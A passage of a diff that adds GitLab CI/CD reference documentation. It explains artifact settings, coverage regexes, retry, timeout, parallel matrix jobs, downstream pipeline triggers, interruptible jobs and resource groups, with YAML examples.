+[`doublestar.PathMatch`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#PathMatch) patterns. + +For example, to store all files in `binaries/`, but not `*.o` files located in +subdirectories of `binaries/`: + +```yaml +artifacts: + paths: + - binaries/ + exclude: + - binaries/**/*.o +``` + +Unlike [`artifacts:paths`](#artifactspaths), `exclude` paths are not recursive. To exclude all of the contents of a directory, you can match them explicitly rather than matching the directory itself. + +For example, to store all files in `binaries/` but nothing located in the `temp/` subdirectory: + +```yaml +artifacts: + paths: + - binaries/ + exclude: + - binaries/temp/**/* +``` + +Files matched by [`artifacts:untracked`](#artifactsuntracked) can be excluded using +`artifacts:exclude` too. + +#### `artifacts:expire_in` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) in GitLab 13.0 behind a disabled feature flag, the latest job artifacts are kept regardless of expiry time. +> - [Made default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) in GitLab 13.4. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241026) in GitLab 13.8, keeping latest job artifacts can be disabled at the project level. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276583) in GitLab 13.9, keeping latest job artifacts can be disabled instance-wide. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321323) in GitLab 13.12, the latest pipeline artifacts are kept regardless of expiry time. + +Use `expire_in` to specify how long [job artifacts](../pipelines/job_artifacts.md) are stored before +they expire and are deleted. The `expire_in` setting does not affect: + +- Artifacts from the latest job, unless this keeping the latest job artifacts is: + - [Disabled at the project level](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs). + - [Disabled instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). +- [Pipeline artifacts](../pipelines/pipeline_artifacts.md). It's not possible to specify an + expiration date for these: + - Pipeline artifacts from the latest pipeline are kept forever. + - Other pipeline artifacts are erased after one week. + +The value of `expire_in` is an elapsed time in seconds, unless a unit is provided. Valid values +include: + +- `'42'` +- `42 seconds` +- `3 mins 4 sec` +- `2 hrs 20 min` +- `2h20min` +- `6 mos 1 day` +- `47 yrs 6 mos and 4d` +- `3 weeks and 2 days` +- `never` + +To expire artifacts one week after being uploaded: + +```yaml +job: + artifacts: + expire_in: 1 week +``` + +The expiration time period begins when the artifact is uploaded and stored on GitLab. If the expiry +time is not defined, it defaults to the +[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration) +(30 days by default). + +To override the expiration date and protect artifacts from being automatically deleted: + +- Use the **Keep** button on the job page. +- [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/22761), set the value of + `expire_in` to `never`. + +After their expiry, artifacts are deleted hourly by default (using a cron job), and are not +accessible anymore. + +#### `artifacts:expose_as` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15018) in GitLab 12.5. + +Use the `expose_as` keyword to expose [job artifacts](../pipelines/job_artifacts.md) +in the [merge request](../../user/project/merge_requests/index.md) UI. + +For example, to match a single file: + +```yaml +test: + script: ["echo 'test' > file.txt"] + artifacts: + expose_as: 'artifact 1' + paths: ['file.txt'] +``` + +With this configuration, GitLab adds a link **artifact 1** to the relevant merge request +that points to `file1.txt`. To access the link, select **View exposed artifact** +below the pipeline graph in the merge request overview. + +An example that matches an entire directory: + +```yaml +test: + script: ["mkdir test && echo 'test' > test/file.txt"] + artifacts: + expose_as: 'artifact 1' + paths: ['test/'] +``` + +Note the following: + +- Artifacts do not display in the merge request UI when using variables to define the `artifacts:paths`. +- A maximum of 10 job artifacts per merge request can be exposed. +- Glob patterns are unsupported. +- If a directory is specified, the link is to the job [artifacts browser](../pipelines/job_artifacts.md#download-job-artifacts) if there is more than + one file in the directory. +- For exposed single file artifacts with `.html`, `.htm`, `.txt`, `.json`, `.xml`, + and `.log` extensions, if [GitLab Pages](../../administration/pages/index.md) is: + - Enabled, GitLab automatically renders the artifact. + - Not enabled, the file is displayed in the artifacts browser. + +#### `artifacts:name` + +Use the `name` directive to define the name of the created artifacts +archive. You can specify a unique name for every archive. The `artifacts:name` +variable can make use of any of the [predefined variables](../variables/index.md). +The default name is `artifacts`, which becomes `artifacts.zip` when you download it. + +To create an archive with a name of the current job: + +```yaml +job: + artifacts: + name: "$CI_JOB_NAME" + paths: + - binaries/ +``` + +To create an archive with a name of the current branch or tag including only +the binaries directory: + +```yaml +job: + artifacts: + name: "$CI_COMMIT_REF_NAME" + paths: + - binaries/ +``` + +If your branch-name contains forward slashes +(for example `feature/my-feature`) it's advised to use `$CI_COMMIT_REF_SLUG` +instead of `$CI_COMMIT_REF_NAME` for proper naming of the artifact. + +To create an archive with a name of the current job and the current branch or +tag including only the binaries directory: + +```yaml +job: + artifacts: + name: "$CI_JOB_NAME-$CI_COMMIT_REF_NAME" + paths: + - binaries/ +``` + +To create an archive with a name of the current [stage](#stages) and branch name: + +```yaml +job: + artifacts: + name: "$CI_JOB_STAGE-$CI_COMMIT_REF_NAME" + paths: + - binaries/ +``` + +--- + +If you use **Windows Batch** to run your shell scripts you need to replace +`$` with `%`: + +```yaml +job: + artifacts: + name: "%CI_JOB_STAGE%-%CI_COMMIT_REF_NAME%" + paths: + - binaries/ +``` + +If you use **Windows PowerShell** to run your shell scripts you need to replace +`$` with `$env:`: + +```yaml +job: + artifacts: + name: "$env:CI_JOB_STAGE-$env:CI_COMMIT_REF_NAME" + paths: + - binaries/ +``` + +#### `artifacts:paths` + +Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly +link outside it. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) +patterns and: + +- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later, +[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match). +- In GitLab Runner 12.10 and earlier, +[`filepath.Match`](https://pkg.go.dev/path/filepath#Match). + +To restrict which jobs a specific job fetches artifacts from, see [dependencies](#dependencies). + +Send all files in `binaries` and `.config`: + +```yaml +artifacts: + paths: + - binaries/ + - .config +``` + +To disable artifact passing, define the job with empty [dependencies](#dependencies): + +```yaml +job: + stage: build + script: make build + dependencies: [] +``` + +You may want to create artifacts only for tagged releases to avoid filling the +build server storage with temporary build artifacts. + +Create artifacts only for tags (`default-job` doesn't create artifacts): + +```yaml +default-job: + script: + - mvn test -U + rules: + - if: $CI_COMMIT_BRANCH + +release-job: + script: + - mvn package -U + artifacts: + paths: + - target/*.war + rules: + - if: $CI_COMMIT_TAG +``` + +You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`: + +```yaml +job: + artifacts: + paths: + - path/*xyz/* +``` + +#### `artifacts:public` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8 +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's recommended for production use. + +Use `artifacts:public` to determine whether the job artifacts should be +publicly available. + +The default for `artifacts:public` is `true` which means that the artifacts in +public pipelines are available for download by anonymous and guest users: + +```yaml +artifacts: + public: true +``` + +To deny read access for anonymous and guest users to artifacts in public +pipelines, set `artifacts:public` to `false`: + +```yaml +artifacts: + public: false +``` + +#### `artifacts:reports` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2. +> - Requires GitLab Runner 11.2 and above. + +Use [`artifacts:reports`](#artifactsreports) +to collect test reports, code quality reports, and security reports from jobs. +It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards). + +The test reports are collected regardless of the job results (success or failure). +You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration +date for their artifacts. + +If you also want the ability to browse the report output files, include the +[`artifacts:paths`](#artifactspaths) keyword. + +##### `artifacts:reports:api_fuzzing` **(ULTIMATE)** + +> - Introduced in GitLab 13.4. +> - Requires GitLab Runner 13.4 or later. + +The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md) +as artifacts. + +The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge +requests and the pipeline view. It's also used to provide data for security dashboards. + +##### `artifacts:reports:cobertura` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9. +> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above. + +The `cobertura` report collects [Cobertura coverage XML files](../../user/project/merge_requests/test_coverage_visualization.md). +The collected Cobertura coverage reports upload to GitLab as an artifact +and display in merge requests. + +Cobertura was originally developed for Java, but there are many +third party ports for other languages like JavaScript, Python, Ruby, and so on. + +##### `artifacts:reports:codequality` + +> - Introduced in GitLab 11.5. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2. +> - Requires GitLab Runner 11.5 and above. + +The `codequality` report collects [Code Quality issues](../../user/project/merge_requests/code_quality.md) +as artifacts. + +The collected Code Quality report uploads to GitLab as an artifact and is summarized in merge requests. + +##### `artifacts:reports:container_scanning` **(ULTIMATE)** + +> - Introduced in GitLab 11.5. +> - Requires GitLab Runner 11.5 and above. + +The `container_scanning` report collects [Container Scanning vulnerabilities](../../user/application_security/container_scanning/index.md) +as artifacts. + +The collected Container Scanning report uploads to GitLab as an artifact and +is summarized in merge requests and the pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)** + +> - Introduced in GitLab 13.4. +> - Requires GitLab Runner 13.4 or later. + +The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md) +as artifacts. + +The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge +requests and the pipeline view. It's also used to provide data for security dashboards. + +##### `artifacts:reports:cluster_image_scanning` **(ULTIMATE)** + +> - Introduced in GitLab 14.1. +> - Requires GitLab Runner 14.1 and above. + +The `cluster_image_scanning` report collects `CLUSTER_IMAGE_SCANNING` vulnerabilities +as artifacts. + +The collected `CLUSTER_IMAGE_SCANNING` report uploads to GitLab as an artifact and +is summarized in the pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:dast` **(ULTIMATE)** + +> - Introduced in GitLab 11.5. +> - Requires GitLab Runner 11.5 and above. + +The `dast` report collects [DAST vulnerabilities](../../user/application_security/dast/index.md) +as artifacts. + +The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:dependency_scanning` **(ULTIMATE)** + +> - Introduced in GitLab 11.5. +> - Requires GitLab Runner 11.5 and above. + +The `dependency_scanning` report collects [Dependency Scanning vulnerabilities](../../user/application_security/dependency_scanning/index.md) +as artifacts. + +The collected Dependency Scanning report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:dotenv` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17066) in GitLab 12.9. +> - Requires GitLab Runner 11.5 and later. + +The `dotenv` report collects a set of environment variables as artifacts. + +The collected variables are registered as runtime-created variables of the job, +which is useful to [set dynamic environment URLs after a job finishes](../environments/index.md#set-dynamic-environment-urls-after-a-job-finishes). + +There are a couple of exceptions to the [original dotenv rules](https://github.com/motdotla/dotenv#rules): + +- The variable key can contain only letters, digits, and underscores (`_`). +- The maximum size of the `.env` file is 5 KB. +- In GitLab 13.5 and older, the maximum number of inherited variables is 10. +- In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/247913), + the maximum number of inherited variables is 20. +- Variable substitution in the `.env` file is not supported. +- The `.env` file can't have empty lines or comments (starting with `#`). +- Key values in the `env` file cannot have spaces or newline characters (`\n`), including when using single or double quotes. +- Quote escaping during parsing (`key = 'value'` -> `{key: "value"}`) is not supported. + +##### `artifacts:reports:junit` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2. +> - Requires GitLab Runner 11.2 and above. + +The `junit` report collects [JUnit report format XML files](https://www.ibm.com/docs/en/adfz/developer-for-zos/14.1.0?topic=formats-junit-xml-format) +as artifacts. Although JUnit was originally developed in Java, there are many +third party ports for other +languages like JavaScript, Python, Ruby, and so on. + +See [Unit test reports](../unit_test_reports.md) for more details and examples. +Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool: + +```yaml +rspec: + stage: test + script: + - bundle install + - rspec --format RspecJunitFormatter --out rspec.xml + artifacts: + reports: + junit: rspec.xml +``` + +The collected Unit test reports upload to GitLab as an artifact and display in merge requests. + +If the JUnit tool you use exports to multiple XML files, specify +multiple test report paths within a single job to +concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml`), +an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a +combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`). + +##### `artifacts:reports:license_scanning` **(ULTIMATE)** + +> - Introduced in GitLab 12.8. +> - Requires GitLab Runner 11.5 and above. + +The `license_scanning` report collects [Licenses](../../user/compliance/license_compliance/index.md) +as artifacts. + +The License Compliance report uploads to GitLab as an artifact and displays automatically in merge requests and the pipeline view, and provide data for security +dashboards. + +##### `artifacts:reports:load_performance` **(PREMIUM)** + +> - Introduced in [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35260) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. +> - Requires GitLab Runner 11.5 and above. + +The `load_performance` report collects [Load Performance Testing metrics](../../user/project/merge_requests/load_performance_testing.md) +as artifacts. + +The report is uploaded to GitLab as an artifact and is +shown in merge requests automatically. + +##### `artifacts:reports:metrics` **(PREMIUM)** + +> Introduced in GitLab 11.10. + +The `metrics` report collects [Metrics](../metrics_reports.md) +as artifacts. + +The collected Metrics report uploads to GitLab as an artifact and displays in merge requests. + +##### `artifacts:reports:browser_performance` **(PREMIUM)** + +> - Introduced in GitLab 11.5. +> - Requires GitLab Runner 11.5 and above. +> - [Name changed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) from `artifacts:reports:performance` in GitLab 14.0. + +The `browser_performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md) +as artifacts. + +The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests. + +##### `artifacts:reports:requirements` **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in GitLab 13.1. +> - Requires GitLab Runner 11.5 and above. + +The `requirements` report collects `requirements.json` files as artifacts. + +The collected Requirements report uploads to GitLab as an artifact and +existing [requirements](../../user/project/requirements/index.md) are +marked as Satisfied. + +##### `artifacts:reports:sast` + +> - Introduced in GitLab 11.5. +> - Made [available in all tiers](https://gitlab.com/groups/gitlab-org/-/epics/2098) in GitLab 13.3. +> - Requires GitLab Runner 11.5 and above. + +The `sast` report collects [SAST vulnerabilities](../../user/application_security/sast/index.md) +as artifacts. + +The collected SAST report uploads to GitLab as an artifact and is summarized +in merge requests and the pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:secret_detection` + +> - Introduced in GitLab 13.1. +> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) in GitLab + 13.3. +> - Requires GitLab Runner 11.5 and above. + +The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md) +as artifacts. + +The collected Secret Detection report is uploaded to GitLab as an artifact and summarized +in the merge requests and pipeline view. It's also used to provide data for security +dashboards. + +##### `artifacts:reports:terraform` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207528) in GitLab 13.0. +> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above. + +The `terraform` report obtains a Terraform `tfplan.json` file. [JQ processing required to remove credentials](../../user/infrastructure/mr_integration.md#setup). The collected Terraform +plan report uploads to GitLab as an artifact and displays +in merge requests. For more information, see +[Output `terraform plan` information into a merge request](../../user/infrastructure/mr_integration.md). + +#### `artifacts:untracked` + +Use `artifacts:untracked` to add all Git untracked files as artifacts (along +with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration +in the repository's `.gitignore` file. + +Send all Git untracked files: + +```yaml +artifacts: + untracked: true +``` + +Send all Git untracked files and files in `binaries`: + +```yaml +artifacts: + untracked: true + paths: + - binaries/ +``` + +Send all untracked files but [exclude](#artifactsexclude) `*.txt`: + +```yaml +artifacts: + untracked: true + exclude: + - "*.txt" +``` + +#### `artifacts:when` + +Use `artifacts:when` to upload artifacts on job failure or despite the +failure. + +`artifacts:when` can be set to one of the following values: + +1. `on_success` (default): Upload artifacts only when the job succeeds. +1. `on_failure`: Upload artifacts only when the job fails. +1. `always`: Always upload artifacts. Useful, for example, when + [uploading artifacts](../unit_test_reports.md#viewing-junit-screenshots-on-gitlab) required to + troubleshoot failing tests. + +For example, to upload artifacts only when a job fails: + +```yaml +job: + artifacts: + when: on_failure +``` + +### `coverage` + +Use `coverage` to configure how code coverage is extracted from the +job output. + +Regular expressions are the only valid kind of value expected here. So, using +surrounding `/` is mandatory to consistently and explicitly represent +a regular expression string. You must escape special characters if you want to +match them literally. + +For example: + +```yaml +job1: + script: rspec + coverage: '/Code coverage: \d+\.\d+/' +``` + +The coverage is shown in the UI if at least one line in the job output matches the regular expression. +If there is more than one matched line in the job output, the last line is used. +For the matched line, the first occurrence of `\d+(\.\d+)?` is the code coverage. +Leading zeros are removed. + +Coverage output from [child pipelines](../pipelines/parent_child_pipelines.md) is not recorded +or displayed. Check [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/280818) +for more details. + +### `retry` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3515) in GitLab 11.5, you can control which failures to retry on. + +Use `retry` to configure how many times a job is retried in +case of a failure. + +When a job fails, the job is processed again, +until the limit specified by the `retry` keyword is reached. + +If `retry` is set to `2`, and a job succeeds in a second run (first retry), it is not retried. +The `retry` value must be a positive integer, from `0` to `2` +(two retries maximum, three runs in total). + +The following example retries all failure cases: + +```yaml +test: + script: rspec + retry: 2 +``` + +By default, a job is retried on all failure cases. To have better control +over which failures to retry, `retry` can be a hash with the following keys: + +- `max`: The maximum number of retries. +- `when`: The failure cases to retry. + +To retry only runner system failures at maximum two times: + +```yaml +test: + script: rspec + retry: + max: 2 + when: runner_system_failure +``` + +If there is another failure, other than a runner system failure, the job +is not retried. + +To retry on multiple failure cases, `when` can also be an array of failures: + +```yaml +test: + script: rspec + retry: + max: 2 + when: + - runner_system_failure + - stuck_or_timeout_failure +``` + +Possible values for `when` are: + +<!-- + If you change any of the values below, make sure to update the `RETRY_WHEN_IN_DOCUMENTATION` + array in `spec/lib/gitlab/ci/config/entry/retry_spec.rb`. + The test there makes sure that all documented + values are valid as a configuration option and therefore should always + stay in sync with this documentation. +--> + +- `always`: Retry on any failure (default). +- `unknown_failure`: Retry when the failure reason is unknown. +- `script_failure`: Retry when the script failed. +- `api_failure`: Retry on API failure. +- `stuck_or_timeout_failure`: Retry when the job got stuck or timed out. +- `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed). +- `missing_dependency_failure`: Retry if a dependency is missing. +- `runner_unsupported`: Retry if the runner is unsupported. +- `stale_schedule`: Retry if a delayed job could not be executed. +- `job_execution_timeout`: Retry if the script exceeded the maximum execution time set for the job. +- `archived_failure`: Retry if the job is archived and can't be run. +- `unmet_prerequisites`: Retry if the job failed to complete prerequisite tasks. +- `scheduler_failure`: Retry if the scheduler failed to assign the job to a runner. +- `data_integrity_failure`: Retry if there is a structural integrity problem detected. + +You can specify the number of [retry attempts for certain stages of job execution](../runners/configure_runners.md#job-stages-attempts) using variables. + +### `timeout` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14887) in GitLab 12.3. + +Use `timeout` to configure a timeout for a specific job. For example: + +```yaml +build: + script: build.sh + timeout: 3 hours 30 minutes + +test: + script: rspec + timeout: 3h 30m +``` + +The job-level timeout can exceed the +[project-level timeout](../pipelines/settings.md#set-a-limit-for-how-long-jobs-can-run) but can't +exceed the runner-specific timeout. + +### `parallel` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5. + +Use `parallel` to configure how many instances of a job to run in parallel. +The value can be from 2 to 50. + +The `parallel` keyword creates N instances of the same job that run in parallel. +They are named sequentially from `job_name 1/N` to `job_name N/N`: + +```yaml +test: + script: rspec + parallel: 5 +``` + +Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL` +[predefined CI/CD variable](../variables/index.md#predefined-cicd-variables) set. + +Different languages and test suites have different methods to enable parallelization. +For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) +and RSpec to run Ruby tests in parallel: + +```ruby +# Gemfile +source 'https://rubygems.org' + +gem 'rspec' +gem 'semaphore_test_boosters' +``` + +```yaml +test: + parallel: 3 + script: + - bundle + - bundle exec rspec_booster --job $CI_NODE_INDEX/$CI_NODE_TOTAL +``` + +WARNING: +Test Boosters reports usage statistics to the author. + +You can then navigate to the **Jobs** tab of a new pipeline build and see your RSpec +job split into three separate jobs. + +#### Parallel `matrix` jobs + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3. + +Use `matrix:` to run a job multiple times in parallel in a single pipeline, +but with different variable values for each instance of the job. +There can be from 2 to 50 jobs. + +Jobs can only run in parallel if there are multiple runners, or a single runner is +[configured to run multiple jobs concurrently](#use-your-own-runners). + +Every job gets the same `CI_NODE_TOTAL` [CI/CD variable](../variables/index.md#predefined-cicd-variables) value, and a unique `CI_NODE_INDEX` value. + +```yaml +deploystacks: + stage: deploy + script: + - bin/deploy + parallel: + matrix: + - PROVIDER: aws + STACK: + - monitoring + - app1 + - app2 + - PROVIDER: ovh + STACK: [monitoring, backup, app] + - PROVIDER: [gcp, vultr] + STACK: [data, processing] +``` + +The following example generates 10 parallel `deploystacks` jobs, each with different values +for `PROVIDER` and `STACK`: + +```plaintext +deploystacks: [aws, monitoring] +deploystacks: [aws, app1] +deploystacks: [aws, app2] +deploystacks: [ovh, monitoring] +deploystacks: [ovh, backup] +deploystacks: [ovh, app] +deploystacks: [gcp, data] +deploystacks: [gcp, processing] +deploystacks: [vultr, data] +deploystacks: [vultr, processing] +``` + +The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452). + +##### One-dimensional `matrix` jobs + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26362) in GitLab 13.5. + +You can also have one-dimensional matrices with a single job: + +```yaml +deploystacks: + stage: deploy + script: + - bin/deploy + parallel: + matrix: + - PROVIDER: [aws, ovh, gcp, vultr] +``` + +##### Parallel `matrix` trigger jobs + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270957) in GitLab 13.10. + +Use `matrix:` to run a [trigger](#trigger) job multiple times in parallel in a single pipeline, +but with different variable values for each instance of the job. + +```yaml +deploystacks: + stage: deploy + trigger: + include: path/to/child-pipeline.yml + parallel: + matrix: + - PROVIDER: aws + STACK: [monitoring, app1] + - PROVIDER: ovh + STACK: [monitoring, backup] + - PROVIDER: [gcp, vultr] + STACK: [data] +``` + +This example generates 6 parallel `deploystacks` trigger jobs, each with different values +for `PROVIDER` and `STACK`, and they create 6 different child pipelines with those variables. + +```plaintext +deploystacks: [aws, monitoring] +deploystacks: [aws, app1] +deploystacks: [ovh, monitoring] +deploystacks: [ovh, backup] +deploystacks: [gcp, data] +deploystacks: [vultr, data] +``` + +### `trigger` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. + +Use `trigger` to define a downstream pipeline trigger. When GitLab starts a `trigger` job, +a downstream pipeline is created. + +Jobs with `trigger` can only use a [limited set of keywords](../pipelines/multi_project_pipelines.md#define-multi-project-pipelines-in-your-gitlab-ciyml-file). +For example, you can't run commands with [`script`](#script), [`before_script`](#before_script), +or [`after_script`](#after_script). + +You can use this keyword to create two different types of downstream pipelines: + +- [Multi-project pipelines](../pipelines/multi_project_pipelines.md#define-multi-project-pipelines-in-your-gitlab-ciyml-file) +- [Child pipelines](../pipelines/parent_child_pipelines.md) + +[In GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/197140/) and later, you can +view which job triggered a downstream pipeline. In the [pipeline graph](../pipelines/index.md#visualize-pipelines), +hover over the downstream pipeline job. + +In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you +can use [`when:manual`](#whenmanual) in the same job as `trigger`. In GitLab 13.4 and +earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`. +You [cannot start `manual` trigger jobs with the API](https://gitlab.com/gitlab-org/gitlab/-/issues/284086). + +#### Basic `trigger` syntax for multi-project pipelines + +You can configure a downstream trigger by using the `trigger` keyword +with a full path to a downstream project: + +```yaml +rspec: + stage: test + script: bundle exec rspec + +staging: + stage: deploy + trigger: my/deployment +``` + +#### Complex `trigger` syntax for multi-project pipelines + +You can configure a branch name that GitLab uses to create +a downstream pipeline with: + +```yaml +rspec: + stage: test + script: bundle exec rspec + +staging: + stage: deploy + trigger: + project: my/deployment + branch: stable +``` + +To mirror the status from a triggered pipeline: + +```yaml +trigger_job: + trigger: + project: my/project + strategy: depend +``` + +To mirror the status from an upstream pipeline: + +```yaml +upstream_bridge: + stage: test + needs: + pipeline: other/project +``` + +#### `trigger` syntax for child pipeline + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16094) in GitLab 12.7. + +To create a [child pipeline](../pipelines/parent_child_pipelines.md), specify the path to the +YAML file that contains the configuration of the child pipeline: + +```yaml +trigger_job: + trigger: + include: path/to/child-pipeline.yml +``` + +Similar to [multi-project pipelines](../pipelines/multi_project_pipelines.md#mirror-status-of-a-triggered-pipeline-in-the-trigger-job), +it's possible to mirror the status from a triggered pipeline: + +```yaml +trigger_job: + trigger: + include: + - local: path/to/child-pipeline.yml + strategy: depend +``` + +##### Trigger child pipeline with generated configuration file + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35632) in GitLab 12.9. + +You can also trigger a child pipeline from a [dynamically generated configuration file](../pipelines/parent_child_pipelines.md#dynamic-child-pipelines): + +```yaml +generate-config: + stage: build + script: generate-ci-config > generated-config.yml + artifacts: + paths: + - generated-config.yml + +child-pipeline: + stage: test + trigger: + include: + - artifact: generated-config.yml + job: generate-config +``` + +The `generated-config.yml` is extracted from the artifacts and used as the configuration +for triggering the child pipeline. + +##### Trigger child pipeline with files from another project + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/205157) in GitLab 13.5. + +To trigger child pipelines with files from another private project under the same +GitLab instance, use [`include:file`](#includefile): + +```yaml +child-pipeline: + trigger: + include: + - project: 'my-group/my-pipeline-library' + ref: 'main' + file: '/path/to/child-pipeline.yml' +``` + +#### Linking pipelines with `trigger:strategy` + +By default, the `trigger` job completes with the `success` status +as soon as the downstream pipeline is created. + +To force the `trigger` job to wait for the downstream (multi-project or child) pipeline to complete, use +`strategy: depend`. This setting makes the trigger job wait with a "running" status until the triggered +pipeline completes. At that point, the `trigger` job completes and displays the same status as +the downstream job. + +This setting can help keep your pipeline execution linear. In the following example, jobs from +subsequent stages wait for the triggered pipeline to successfully complete before +starting, which reduces parallelization. + +```yaml +trigger_job: + trigger: + include: path/to/child-pipeline.yml + strategy: depend +``` + +#### Trigger a pipeline by API call + +To force a rebuild of a specific branch, tag, or commit, you can use an API call +with a trigger token. + +The trigger token is different than the [`trigger`](#trigger) keyword. + +[Read more in the triggers documentation.](../triggers/index.md) + +### `interruptible` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32022) in GitLab 12.3. + +Use `interruptible` to indicate that a running job should be canceled if made redundant by a newer pipeline run. +Defaults to `false` (uninterruptible). Jobs that have not started yet (pending) are considered interruptible +and safe to be cancelled. +This value is used only if the [automatic cancellation of redundant pipelines feature](../pipelines/settings.md#auto-cancel-redundant-pipelines) +is enabled. + +When enabled, a pipeline is immediately canceled when a new pipeline starts on the same branch if either of the following is true: + +- All jobs in the pipeline are set as interruptible. +- Any uninterruptible jobs have not started yet. + +Set jobs as interruptible that can be safely canceled once started (for instance, a build job). + +In the following example, a new pipeline run causes an existing running pipeline to be: + +- Canceled, if only `step-1` is running or pending. +- Not canceled, once `step-2` starts running. + +After an uninterruptible job starts running, the pipeline cannot be canceled. + +```yaml +stages: + - stage1 + - stage2 + - stage3 + +step-1: + stage: stage1 + script: + - echo "Can be canceled." + interruptible: true + +step-2: + stage: stage2 + script: + - echo "Can not be canceled." + +step-3: + stage: stage3 + script: + - echo "Because step-2 can not be canceled, this step can never be canceled, even though it's set as interruptible." + interruptible: true +``` + +### `resource_group` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15536) in GitLab 12.7. + +Sometimes running multiple jobs or pipelines at the same time in an environment +can lead to errors during the deployment. + +To avoid these errors, use the `resource_group` attribute to make sure that +the runner doesn't run certain jobs simultaneously. Resource groups behave similar +to semaphores in other programming languages. + +When the `resource_group` keyword is defined for a job in the `.gitlab-ci.yml` file, +job executions are mutually exclusive across different pipelines for the same project. +If multiple jobs belonging to the same resource group are enqueued simultaneously, +only one of the jobs is picked by the runner. The other jobs wait until the +`resource_group` is free. + +For example: + +```yaml +deploy-to-production: + script: deploy + resource_group: production +``` + +In this case, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result, +you can ensure that concurrent deployments never happen to the production environment. + +You can define multiple resource groups per 